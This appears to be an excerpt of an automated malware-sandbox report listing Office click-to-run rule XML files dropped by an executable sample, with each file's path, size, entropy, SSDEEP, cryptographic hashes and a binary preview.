Preview:	<?xmlX..k..61..........Y.V..ky./..A.3.'.{./.nZP..oU.i0..\........\|.i....o.6N....a$j......4.l.!.....[...<...dq...V.9.......:Z....q.c......h..{.E!...k..../H..,[H2.G.....Q.Y2..X.JX...........u.-U.y.G=U..9_.(M.I... ..J.%.1W....P....u#^.....Jd....e.......ar.A.s!=y...;./....z.3.........pc..!...7N..!Cc..?...g..X...Q.Fl..q..Sd..I.R......."y...h.\..<.n..r!.........U.)".."2...3=..J%.H.z...Y....~Z....4n.4.K...cH..}j.#W..?..i.......S.m.~].A.....%..C6U....S=..na0J.c...e8^#4}...p&./..0gb...>C.....5(H...w.....]......Em`....!.F....5.../...i..i].x..&d......(..p..).Z.Y._<.G$.pk.h\..8WU....\D........_.c.GH]R.1.<..4.....o..y.0...F.....5.u.L^=p,3.p....q...hb..z...I....a.4^........dw....>.&...:...Q...h.G..Qp.Dy<FV..[.>?....zu5 DG.....9.....Q;s.....L.3..X<l`)j....xKi...z../.nkf.......=w......>...n.?.j..vpt....eU.Fn.Q..X.....O/..R.......Y.M.l.4.36Z....^...Z...Y...)'Z+....v.../...<cv)M...^.m>....2.-S..M..b.`...3"JO..1.o...M5.n...P....a...W*..O..\.V:...".g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.887961839075853
Encrypted:	false
SSDEEP:	48:1ozsklMjWD8GNy8yA4tVZX/KCT0xoiv8WPb0gD:KaSD5VgZyCTg50WPP
MD5:	DFE6C78748E05E547A3D62EC1914293E
SHA1:	3B6AF78235173109C9ED4D50EC393CE52F9379B4
SHA-256:	F7C118F742155B1C74A7ED4EAB88679743E387C1DA4B696D54E35394D99159CD
SHA-512:	2CD31FFF7C9C2E547F9F0AD3059D6F57023C264EF2067B8F8ECA1D3224D789A6E0975A7E44257F1A31BB9702AD1B930530DEAFBB712CDF54FF6A07719A41CDAC
Malicious:	false
Preview:	<?xml.k....z...B......l...@.-..}.JC....c.W........Q.....eChXO.%o.v.._..5g..H\|..L...R...d..vw......`.?..>.+..4..A.......I.<5.].L.hC...q..%. yh.Y.Izp..m.Q..$....z.d^(.E`:...1.!.M./..a...D".....F.h.....p.>...d...P..M.+..#v`.X..KM..F]..j....z..m.0.5....wr.7.O.......K11j...{.du.3.b..2.?.z.!..0......[.).v....C.......\rnj8..G[.Q.).(...........>.sl.\|.+....;X......v..b...e-r{.......t........8k$.'.Y....Yo2.n....bt..........~..q. ..;.j.+.y....,.}N..Rs.t..w..\.b.>.Q..d.....b..^.W.6...8xS...p.IG..x...g....t........j..6...^.{R..@...(,_>..FE...&.....(t6u.dZ...%{.E.I.@.n....F..h..z.w}s....wr....]j.d..m........P.rP.".c....^..F,...`Z.T.......5s]>..\|B..brkN.m...UF......2........[ P..E3.y.3. ;'K.?5.d.'B~8.>....Z..:j...jzX...g.Fq....% B.@..N.......T...Q.X..ix.#....a.........?..._..$$.9..De+.C.".1...(L.'.........m..r.GyHTV>.BE..X#......b........~{"..=.....\|I..."O.@-.g..Nv..........-..G....0...X.eF.9....{..rC.C.A.L...w.@..h....?M..?.N.......0..li.R...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.8774546963041585
Encrypted:	false
SSDEEP:	48:Cyr0hG0hva7jaRefLthU71tbEwzRvRbhFRQHqD:Cyr0/iPaRCthUPEwtJhFRQHi
MD5:	473D02115A584A131B08C71FFEBB9456
SHA1:	FC4308D9CEB3837D74F401F55A473AB01741B078
SHA-256:	1958E263A1D46033D0563F969A8C414591AFE3C96572C5BCE253E9047CCA570D
SHA-512:	A067AEBAE60D9B4F1368F88B7275091C03F643E8A9E40727A9BB91D7F46E9685023AD95BF66585DF914479FBA1A19A5FAEECFDB4A439515E37480FD8CCA992EF
Malicious:	false
Preview:	<?xml.L...!.J.....A...l.\|.}u.6....k.p..)..?.......l..a)..a"M....QC....:.Ku..^.....1fmpA..I=...'...0...6..&..5...'......./..........I.A......t"\|.A0.sA......./vy.F..u.....h....fP.Mh....l....=....v8=S@.......$.&..e..t.....$.{}\|zle.H. .r.n..R.!.p=:.k.:...-k}(y..n./`^'..............;.c.$\Q-R.....Y ..R.V.$sA.....p.N{............W.C.D..E.FR..yD.p.=....7t..!....c.6....#m...o....~..&s<.Tb..}..C.....E..j c.....VG..N.?E..CDc..EW..n....y(...T8Y^M.d)...m.G.../..-..&.a....4.O..b.KYUn]..Z].........d...D.M...x... .d...L.....,........pO....Zz'...R.*...E.?..s..p/.W...i#TU..\|..bR...0..\..wr........@.."...(..l.jH...fE.......T..........^..c......."U.1A.j.0."I'...i.< ....,Q..'....N.@W.ur..8......S.jULn...M_.#>a.n..V.Wrb.i.!.....k....>.t....M2..h..O...h.d..6......dl.....f..j...h4.W}xI'A...G..2.H..#.-7Vu..Y....k....N.....J:+.....K..n....N.......bJ1....\|,.$.>...,a.b..Y."..n.J......q..\.6p\|5C ..}.<....b....3w......2....rP.....&.M.I..T.+"h..S.z.&....YcQ.wU..d...?".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.885843315840558
Encrypted:	false
SSDEEP:	48:gO97yWjOiypY4olAfMTr1HRuxIVpIQ4uplGqcu66D:1OxiZJKf81HRuxzuplGql
MD5:	8C9EFB4C8DEDE4D991B03BB99A32ED3E
SHA1:	E489D2DE23AF519F15106406B64AB97013466C9C
SHA-256:	103698B9516AAF51A542818BCD2D78C7F1E0E50BE4C3601107365227F30F8DCF
SHA-512:	9B6A66B45E08600855C0C4FA943F88C890F601E76B7EFBF0B6260EDD3DFA42CF585FC23B75CB2D2973D9DE575F56D096C647A48F6146643F16F3DEC18B077D5E
Malicious:	false
Preview:	<?xml..D.O+.0b......`..bo....m.k.~@...e.^.....!...9....H.T..n-.H#G91...L.Z..5.R.[I.\....Dw..BVn....^.6........."@.r..X#..)..........k......H...Au4.N....O.}...oY..nzy#..o..#!T..!Z..bi.?`...).{...9.o5F..^..f&.A.`J....L.J#...W...i......g%.U(.....s..>m.).../g......Gd^`.\|JRP......T$.ph.d).g..u.Q=j.[....^.r...9o..o...Hv.he..)o......4.TT.k.......3.e}......1.5T.R=>6.....W..9y`.Z.D......0g.,e$5m~[..<...:...y.BD...AS..[N5.._N....u.z.SI.mT+^BP...7.1~UIctO...m.o.hgP.a=.....I.q.g....n.6.@}L..wo.\|....[....9........}...Z....&.&....V.r..%B....D...kEl..w'......^Xm.l...n..~DE!.<..r..h....5d.E..$^. ss.?..7/....6...2.....TL.g../.......eWR, .a ...e...............X..R...4......@...B.Q\./...5knE.8.B.G&..X.'.!....t-.@..wY...o..N......(.... .G.F8..z......I.....K....?.A..hh.........5...._..8.p5J8TE.F[.+......6=.AG>...........b"..~<.8.t.N..%].9T.o..w.>.....s......r...;X<...!..Z+.F./tp..zg._......N.2.a'.Z..U.m.....t[..G.I.d&_............`3c...D.7.5....STg.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.894911311221934
Encrypted:	false
SSDEEP:	48:ciGzYYtMUFA/bDbrNcIcftAaxxlG6HdXlK6zPHJcD:PS+U6jDB0tAb69lnzHJY
MD5:	7D90368F0208EAFBE787B22AB554AC4B
SHA1:	3A5A9F5632CC3BD7B7F1230A486419E5B92CF096
SHA-256:	6405FBD623F591987561A9ADC49EDB6A7CC6DB21951666348ED050024128E998
SHA-512:	10CC529CC69B2C84EE84F6235372973169DFCE1885D4B2739A10AFCBAF57F75B3867ECA29618C93907018D489FA1DC624D830956E8C1098B83C3C41125473C98
Malicious:	false
Preview:	<?xml.'qC.A.,.\|...#.c.U.......i..P..2.#.rL.EG[...x..P...'L>..k"..od.+.D.^...~........V.\|.;..B...H...z.v.i.........X..;...K..o.OY.E.Y..:.'.r......_Gz..=!.=.5.Z.{B...gA..zq..\e...,..[.i0>....&.;"e...K..y[.7....Co...w...Z.t[.t.=.)..6.#...`....3....S..PKw.ys..P.)..o.>...c.WE.-/u..\#Y......03..^P.w..y]k ................}.<i.EU...P8.FO..f.....QW%..,.[.j....sD..SK:...;....2.H..e....L.96R.G..E6.u..2.....M.'...u.Z...6.~.....`.........{..9._4.U.W.......<..!.}.<......b.w..R...^3A.\...$...DJ...i..5...f..Ed.$@..w._.. ....5.4.,(R.9T.r..i..e)/...z..}.?i...g.)...;$..Pax`t..U....%....(.....X}8.>...t.....'.....E.\|G.(..3.....Q.e.a......K..~.n.>e. 6._.........h......%.....I.....;...!.....8....I.$.8.......o.;....%V..O.-.....x[-. A..um.T..X8.]8QVVR.;.y.k.}....N.g#.Q....( ./#....2 ...l./a--...<...\|.R..OWn.......J..&Q...Ai.^&b1Ag..tu2..BB%.n.B>...\|L(vN..G.O..@..L......Q..W..>K2+..b.LSV..V.[.o.....y......1..........e!$....O....D.g..U..y..S.$AH.#.....A..n..Y.!.8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.878493702553455
Encrypted:	false
SSDEEP:	48:gTa+AREl+J2K3JmL/bAzWsZc5mxDcKdLV8ESUfkiuD:vLAA2SmHgWocUyQCESUsf
MD5:	9E5B90DA3359DC4168AA4DFF100A86A2
SHA1:	749679B4C5DB1F1F42AACC422713A02C855A9DA8
SHA-256:	77EED1C4B3FD8C90CECC54E9B445DF137946FB8B90C3910D0C0EFD54CAD2D7B3
SHA-512:	1102C2D3D7D7BD9727210FB586A8A10CB8353819C781D6AD7EDB43A1CFCC530E0F92AB50682971AE96BEFBF7E1790CFDC563FAA254C1396C5E1E92BF786F9C62
Malicious:	false
Preview:	<?xml]6?[...LA...k...y...8....k...2...o..[.o.Lbp..V@.}.`...iT..y....:.....W.....\|.....,...p....G...VJ/3...{(...[{.._...S.)..e.i...i.q.p.....~f.v.V9R.k.....XX@...._Wa.w..5..>......R.....K.yi...r0..........Ul..5w..'..(."Z....=......._........B../.F..f.T.I.b.dP..... .%w(o. i.....{O.o.Q]....\............N.3.yj...n.....w.x.[.......4..G'._...$P..C./../.<C..M..-Q.d8........].;29...THS.y.hqY...w}u.G..l.Y.G.b....NX......+\?b.x0y... ...x.a........".n....p...S.q^.YG-.g......./...wA.E.....cd<..1/1.1.>.....=.-..'.;.e.K..pN.Z.6.b.....".f....Y.kj~z...i.......GmVjA.......v`.........C.V&..A..RLn\|..r.....>fN..GI..p.Tl.B .\|Q.....H...M..8..3.t.Y.....;sMKd]..6.....a)q_^..?T..{..t.Z...o(.]...P....fq.G.....PP..!0Z.P.s....../....@oDS;...J.......C.47.3..q.._....8[......n..-/...p!./g.,.....3......\|....z..._...@..L...[.`q.`\|$o..T.0..,."~.,.....j..U5...{O.n..Ed.....QN.T...H/.Wx>...h.y.S...L:..0........=..l..I.&.o.ia...Vk_..).zm...\.c.U.s6s.O."r..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.872250663931079
Encrypted:	false
SSDEEP:	48:RjIHqc7TY5FkRmeTVytxjpfGWUMjp+Dy/0g8Ug8YCD:Rkqb5WdVytxtIM8W0g8VS
MD5:	2594C9BE7BA69D63BD466F80247616CA
SHA1:	55DC4214E3FB6C8FC6CC431BB3002C9F43D805DF
SHA-256:	A7D6FE75BA94CE053FFBAD3C78E25F48FCB76601739DCBC96EE0DAA54E21D802
SHA-512:	BE1009A66815DFDC95570F078469CE90563945C20852429EC98AEB76B8351C899A9877C29194B8DE301BE594E7DFFAAE95840F8172092D2B3AF0AB3E43E5C475
Malicious:	false
Preview:	<?xml...:...W.IY..b.C...M;.YE..a..E..{<.i.%...L.S...H.......@...J...D.J...zN....c.1.QK.Y.]#.......!.....c@z._...Q.....^.&z....H.KKT.@.4..}w.....~B%.8+#&Z..V...K.c..Xz.....\|~V....d..Q.>....&.{...5...^r...2...<s.WI. ...?.....9.i..LY........+..W....4s..=M,.sBuk&....Mb.j..Q..b...fa.q-..,'.......t....\e..lO.!.G.M.K..8HC^.!7......;.yqg...v.7>H..{.M..~.s.b.Ky...zh/...ge.......g..3\|w..jqF ....x........\|.....E'..TG...E.........\|...).c;.K/.4.,A6....t.Z.9T..A..Yo.&n.LW.\|/.0T.. ...*)E...-...m.......P....1...1.x..v..CW.0.C.i...!6.............c..s...$J.......#.F.e.......>.\|...8...yOQ...b.;.!.B(}........y..n.y.5e...L-z...S.W...y.j<7...ez.r...r....C.h{.P[...N....MA.R..(..Rf.../.W..e.......X...T.[.8.h......0.;&....iM........'.@..&b'k.....e.h.n...!E ...'.6.V..7{.a...Q1.Z2#.. -.Vb............,..N'+,z./...z{<...0N.D+..y`3V.....^$..,Y.+.3O..O....._..Va.....(`./....V...}...#;P....[..i.a2Z..v.......5[.M.:...5I..X).y.....m...@.....k)x.]."...52.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.886762941803784
Encrypted:	false
SSDEEP:	48:8J2IL4v76VCC4UovqlifaFvsID+FrFA2DIrGyGQGxD7DfX1D:gjkmV/2v2O4IyGAGF7rXN
MD5:	06987B61C94EB8B3DABDCB1DF327B4C8
SHA1:	72795BCC26F65DEF1B4AD61C85126CE7210EE20C
SHA-256:	9A69536F7623E7E74E1F730DBF6B72BA6C96A4E4F75CFFBFD2ECA52561265B1F
SHA-512:	5D45F993F4DAD7E2230F939E0EF96C607C9A4B72D6CC9F3C5C41B48050AB05CB8CF0AF4CB3CC4A0A7543EC0362783002B8611665F060BFC65D921E9EE773B2B4
Malicious:	false
Preview:	<?xml6.=.>0...Q.7....X..Nn.D.H,x0>`..w_.+k-hi\FV....z..A..0.......C...n....A4.w....J.....86.(=....c!.w...Y.T.G..Rj.{..;....}\|.a..M3.......b..v3./.~2'..Q..Q.C]Q,.#..78..m..Y.Ux.(k.....H^<x...t..%J.....@.t0M.R......p.pp#...e..}5.Gk.8l.S.../.L1.y.e..].Frt.._.`.&Y....G..(.b0...kq...._.F....qD23..ow....f]......-.e.t(^A...x......9Hb.(...=!....6............QUIG..W..@R...y..`....y."]%.U.>..........%......\z.J.z....`..^.j.x.Y.P..+0..q.Z.`.&.b.........&Mu.@Wg=B.N\|..~.>..i...........yqL....G..I>..........r........&.~t..2\|9...ZB.yc.......n.jH7.o...u&...(I.Ds).o..[.[.....ZD......6.k.h..y&.3.....#.....=.G..E.."5vcE.F.6...K7........E.\|K.V....cT...........0 Q.b{Os.H...!..u.8%.(H^.]........,...;. .8,".B.].RN.....I!%..b...=2)..{.C.=q<...br. b.[... .........l..N.....9im...,DiDK.44kZ...[.S..^.y.x3.....7X..hb..3$jVYeFO{....T...m(.@....-Dy...>s.:pK....."Lr..v...3>.)@.@..Q...4...7p.....?~.o.>.6..[@3b..G.-.U..o.C....>}D.....=.I~.a.B^.....MRk"5..#....!.n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.902166723736465
Encrypted:	false
SSDEEP:	24:Z6VeXDKj34qLGJzSX3LuxAzEgZ7GAxQxxcYtpZgn/rE2URfJOmnQ3lTsq2bD:Z6VeILGJzSnLuxlu6AxQxmnNUR6ghD
MD5:	639FAB4F9AE61A2114620CBDB9047C7B
SHA1:	804921316501C46853094A5FB13E839A7C40F25A
SHA-256:	AEACFAA3DA8B0222F3B034DCD2663A4E1D502890C16F9CD03A28E8242A3483D4
SHA-512:	49479B18F4270B7FCDCC880DF41B17501E01A889AAA13BD6FD1ACF8B6486DEE05D75BA290C794AA5BECE67B8E5E88E0F0D283844801FAB6F662884AB25B40498
Malicious:	false
Preview:	<?xml~.v].K$..L......I..lN.0.xX@{.z...4...Dh.i.N.R\u._{.o..b.,.%._Z....t....:..i4.J.".......t.(.s.5E..u..S.^....g;..b...+..!.......iT..nm.{...9.g.q...ri..F7..U.3t0t...$O\|S~....y5s#X..;....Y..oS...w)........pO........+..$.3.0.L..P..\....L.............K>.9.......u.?U%...;.v.....jK1.?.@.=..:...O...B...-....K..:.(...}..V..8..e).jc......@#..p.CY.<...E`...R:.p.Q...$H-............s.......v#.ws.lh...L..L.dx.6......S.....tC..Vr......<E.../p.Rqt..=...9.M..MH..7..8.\|..Rs>#...?..}3.Ue.).......7.....c..&.."...4k..=.....6........NM......t...bY.i%#(U.#..E..B...u.D...?....w...,.N.K..f...V..M...m..6....b?\...;..4.y.k.P.....z.Yy..BZ..N...3....O.q.(.a.T...s%.....8l9(..9..N...?......7;....j..._.E.%9wT;..O......[..{.\|[.wwXJS.KF...[.G.tr...\.y.H..kc...O....../.'......S....%`....V...3!.y`/.>I..n.Nd.f..K'9.7.A^.W.K.Z....t......?..WX.&Wi.K.5....Y.p.v.........%.9......[..(..(........q.Z.A.M..\........8...6..&B.C8F.....8.l.J1E.E..<...?..q.x.g.....o(..<!..*RJ....J..k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.88502834774383
Encrypted:	false
SSDEEP:	24:qtKXpDkZ+lpOkV7GxxaprRQb7IZhI4pN9L9Dv00r3MdZ8bwQ69Zf/K44cm9TrGY+:6K5ppLV7GeSkXL9BQkMF9pJYmD
MD5:	2A4B7F701636F51C1A86FE1B9414E4E3
SHA1:	452A21E4701D39E6A2D9B614737260D1BDB7A18C
SHA-256:	7A71E131020B58D72C56E87637224C9B9140D9712484E6D6CDBDCD0B19A590A9
SHA-512:	55E512EF3F4074324A52359A1AB498D301B15D1AC751DD5CE221628BC8B0819CD66F789EC6EA438D5331B15472BBF7E910810A48D34923657E31E518580E2078
Malicious:	false
Preview:	<?xml.Hk...D4..K...P.\|6p....d].Q...F.@....?..KZ.v0..Q.t.9.aT...@.......J...Q.E..I..#..Y..!...7..T.MB....{0.q...a.IJfa..'.a`.(M=..F...U.3..m.........A...9........../{..'@.l'......4.M.kSt[....h...m.w..oP.m.C....n.k...ID........Y7.I@..Z....!.9.z.]...4<..r..-gDa..u ...A.....s}.pW\..6^......<s.I..!;..y..-..-....c.....L8M.......XG.....v}V......N..L.4.s..v=a..z.1..)#...I..U....."..W.)..(.-.bU..&./c-..[...!(...{:o~T.THQ..@...".xl.z.o.s.Z....U4....5.Lo#.T.....].yZ..W......2/...3\..Wy3.....g.\..F.Rd.g...em#.:....F.r A...i;..t.(G[d...x.-..v{G>['.u'.[...!u....Fxb...:b..}O.2^...T...vb..1....+......$/ca....^.2.u=.gp....P.8....!..Z..2....KX..:..........h....m..F.....g......R.x.`..)+......G"~5.......2.!.Q.U.\|..FAd...V.:r...iD..b... =..Q^.....9[....h.k....:M.O1i=.R?..t#&.pF...I....YG.......,T=dw...B.. ....0.`...'.2)...m./...H.trs..>ln.y1.WF.w...kI.......w.j..5Q..@8Z.^..+x.m.....<{..v[...?.....3...6+.$.......@x~.{...2.....=...1..cC..........:....k~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.882229901438567
Encrypted:	false
SSDEEP:	48:kacGWNzW/HoLjZDJlfrvJakjuAQPmm72giD:bM1jZ1FbMkKAFm7rq
MD5:	9E946A39A177DE3926FBE70A2C98078F
SHA1:	D22DE04B7B33FE7CE6EDDCA0DD5B7C9663A213BB
SHA-256:	5392B1EAFDFD2918386E3094A1AB67477649737CE1603BFDA1E677F76C8C6F17
SHA-512:	8237F97E6656FCE8C3D88BE44EA5AA8F09D482F7440611A4D0AAA9660172B3C10C1761023D5A006D6688EC50C636D8534A31B042DF34AB6AB79BA6140DCA3B2A
Malicious:	false
Preview:	<?xml@^.....h....@..G0.X.\|O.:._W.L.G..ui.j..Sz..~~..fc....X.%XR.J...?..?q.K....U.B..d..`k.Ax.=N..h.`.h..2.`.K..D....h.l.".......V.2..!r.......M...>`j..>...^......N. W...,]..J~.2.....V.:..\|.L]....2....^ z.I..4..R.....dF....+'..gcY.D.=.Ui..I).ls.#.h...."...C....D....IS.>9.h...).1......UNx.....(h.?...b.G..zC..-.S:l.u[8'..f...i>.[.6\|.E.&.%ka..."...@.rY.m}..U.um.F....HL(.B\|"....h..w..m....am.........G.....8XP..x<h..58...S!U<......z.1=....Q.."........".PL.y..j..xk...z......!..F:eW....GD....uA..^V.i....PN.0..({CT.>/..L.....Jxgg.(...R..u.....m%~...\|..L.]...a@y.R0......?..(]].....b../.)....S..&.h._o..U.coq.....X...Eb..;!fd...Wrg..c..{e]..c.z.@[...7..$...W.4....Ef.K...7.i...\.......Q.......<J.......4..Ad.......-.Z{...Q.J(....v)u@A.....{U...X.. ...2.."...,.fO.[.0...W=.\|.`..X.2..X...JWW..X..'T...L...'>..g.m"..e.{BL......L%8`)\.......S..:kH..8..G=z...........Y....!^+..[....J..rD... .!.@.0....1...$Z.N.=;....#:.6...N.{...of.x...-...L.....w&. ..#....(.'}#.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.881712267686319
Encrypted:	false
SSDEEP:	48:XYRyuVoozH9dl8BFw+v00y+LGa3yB7QnGuD:XqgI9dmBFBrtqaoXW
MD5:	184F71FAC95600EC1EBEA24BCE1E9B26
SHA1:	60F0748ECF4CA32C7B85C654E89C3AE9D480B14B
SHA-256:	B255151EAA8EF02BC0F124D3A3B873E8C0536CA596DA8CA3350C0D7E777FE024
SHA-512:	871B0559470D214C14073283EEE56B3275603BC27EB2BAAF19D06ACFE381598F71BAF2FFBDE70BBB0B88D8C9359273B20B9FE4300DC1D149737A45F5A0797162
Malicious:	false
Preview:	<?xmlb.......p......._...<..4P(q...4.}.4..W..=.p.'nn4.>r...e..]..@....p.1._....{b./...D.n...+..e.>O...i.=.6......+..r.dv....O.F....R.....@.sk........S..-Lk.A...2...EpM...".s..~<.. V.[.9.~.}K.$..V....I.&.....A....6.U.\..o.._..5_..."0.$.Z..u..........4.Z6...J.... ...H(.M-..@.l..?..w..6j.K.....X.i.].P.f.D>F...3Z..."..Hi.F....{.X.J....\.(.4IR..sL..w+..g...W..W2(z<z.......'C...]@.'J.....?...\l..n..4.N..O.......j..\|."....c..........`v..........].F..._.:.pG.sA.,...Z.\./...a1....).7...9...1.!.J...qk<p...Y..5........iFtzk;k.&....[..6.i..g....F6nLFc.g..t.....90.c..S..!Z.G....p.O...o.k.2....P..M8...N............cd..-A.....G!\$\...A......D..K...D....X..P>.Q.Q.c.9....u..3%...O...._....5.%.k...U...[?..t{.@29'..:._.O.k.......u...2.7..F]1..!.+..{..b..............t....t.s.....F.T....`$..!.J.@L..o.d4....5.I../.k.I.!^3..o.......6T)(.p.V.uZ.z..S....._...k.....t.n. .....-......."91...D..,.u..6..V.N.q$..rt[...W...B.f..x.M.p.yek......"Z.d..U..&......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.885506709891077
Encrypted:	false
SSDEEP:	24:1HCp+Slrvx1u8fy2zWZhFBIxqG5Gf3GoNC2ke6LyWktjsmv/mQD9JNlv2bD:1UZlqGy2C7oZG/Gt2aGWkhsF6JNlMD
MD5:	884F23A90A5E76B1E6ED001EDDE655C9
SHA1:	4A144771F703D82239FC030396D6B83CF6210D8E
SHA-256:	AF4DE2FC2A7BF465E6462F165CAA61B8AADB0E2FBF12682EF11E315683701B7F
SHA-512:	D2EFCA08D3126C76AE00BE2C38FBAAA8B0706710FDD60F2EEE1215A29A8498F7F9B32CA3FAE5B5BE4C91048C1AAFE6827CE72ED5F471A08337D25ABE9FEFEA2A
Malicious:	false
Preview:	<?xmlP.,L8.....\f.CT...a...(.s;gO.@MJ...&..d;...0...........+6.vko-oA.r./r.R.?...9>!N..>.y....P...~....T.JW...1..M,..ur.........y...z.......C..0g.Ek.j.w......M'...+0..5..DAk........W]....[....K..8....BDh:..E<.0!.,..1....O......2.7.q2.t..Y$..Z.......Y.......T..Z$.3....-..H.......tl..."......."7.O...c.#....R......]....j_.Y.....K.St.......[..!.V..vf.9.).......(H...s%42....]KeM..v-..j.MY.ko@.$...m5..ZD...m.oZ.S.........].5..O.G....%.......D1.......v...qf.....5J......ep.@.j.m<...?..`...66...m.X#.Ww...A.W3.0A.{..WO....f...,.eW.i.1.....{.._.n.}....l....y.'.......3....Vx...H.....k..R..8.C.'...t.UM..;qy...)..m.j"F55.-....mTQ.g@./.u..l.....~_X..{.........c...2`C..Q./@..,w.W.m..m.l[O....f....C$.cK(.L[/6b}.h%....3...M`....t.....i-@.&T}...H...d..u.:sh9:.z:.._(....g..b..d...Pa.F...+.L.%....qN.. ...J.#..oB..T!d;...[..C.O.RL.!......;.TT.....t.F9-+jv...:.(Q....d&K...h.d.z...D..w..&! ....2q"..&V."..y.T.)QsD._....K.a.F..B.U.o..q.e.U......7.K.K.d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.873668655032881
Encrypted:	false
SSDEEP:	48:ZSJrqlUAdtc0GH10rvVB5LQ04m6opa+s3UsjD:oJkLG+vdLQDm6o0Asv
MD5:	BFCE59F93981D5C90C444E4E570BBFC2
SHA1:	B68CE35CBC2E2A35439C5D374FA56E16A6021D10
SHA-256:	556BC8C3DB1574757817713458BE57B4988E400C3529738FB948D6B3EA789E7A
SHA-512:	8556302D79F23B02182F4F3C1AD6EB83831C3EE69FB1079837BB442AE2A9E976B5A8E25508D1645C4D01266C6DD3F44AEC404FF9FD7F024D5BDF78F261AC4C4C
Malicious:	false
Preview:	<?xmlA.....jJ.1.5)d=,.T...g.....-ry.+.@....?...f{...=.......sd......;0y.ESx}..]...............1+.I.y'l..^..&.[..?O.....N...pR6...Ga.<:...%^.J{N5.}l.nd.!....9.......P..'X....L...k.....(...T..9.m.k.....=:]B.ta.,....d].k..Q...5jG3......x...M.N....r.w.....Q.M.H.DR....EI...;UPl$hvW....G..0L.....qj5w.y....7...Z.9x.D..v.].....Q:.....Fx..`.Z.95..7..k!.dx.....h\|.L...c,.1..'..r.........@L..c...:....3....`IPg...(Hj.....(Oj.'..F..,.$.P0.4..p..?De.?..SQ.....a\cr..r.me.....6.P.3.$...9DA...\..=.....+..{..l...\....b.6..3..C7.&V.F.H.........\|T.y....uKG..-&...`..2.jP..%..4r>......\.e>l...)...W....j....D.c.N,1....k.g.l..TJ<.;iN,)y?^..zmz...9#&{.p...?S.[....<0u..>.w..L.F6....Sr....@]o...@.V,m...h#..v.;.O.'2.>x.P.Sqx..UDF->.=.T.."E....3c..e...sA_.151,....p-bX.......s......Y........f...a.B....c.9....d..'............!...".jqW.6.5c....h.K....;..GGq.d.qV..q...b.g..'E..!Y.,...4T..RA.].s.y...F..i.0=.\|...c:..........]2.V...,8...F...Z.BM...+..P^.2O......,u#.~......C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5141153959950255
Encrypted:	false
SSDEEP:	3072:A02/0lJyTEPipGAilX0TGAETYLA+9IgYdoV897/y9wkx3:xTl8bEhTgYmVo6ykZ
MD5:	9FAA6860DF32F6EDE47442A6177DC31E
SHA1:	716992DE9C796CD0F2B32E3C6628BE42AB5C108C
SHA-256:	C312D8D98F86B5B5AB651EAEF49DDAFAA675BAB4505613B281BBD0C5ACB3D845
SHA-512:	D5938AEDC3F350E417C1319DF69EA7D0A81BFEF0B752C12858A5D51EE466A119566A531ADF3701E89C594720BC54FDA9AF1B918CE5BA0F1B955BC3ECDD30A03C
Malicious:	false
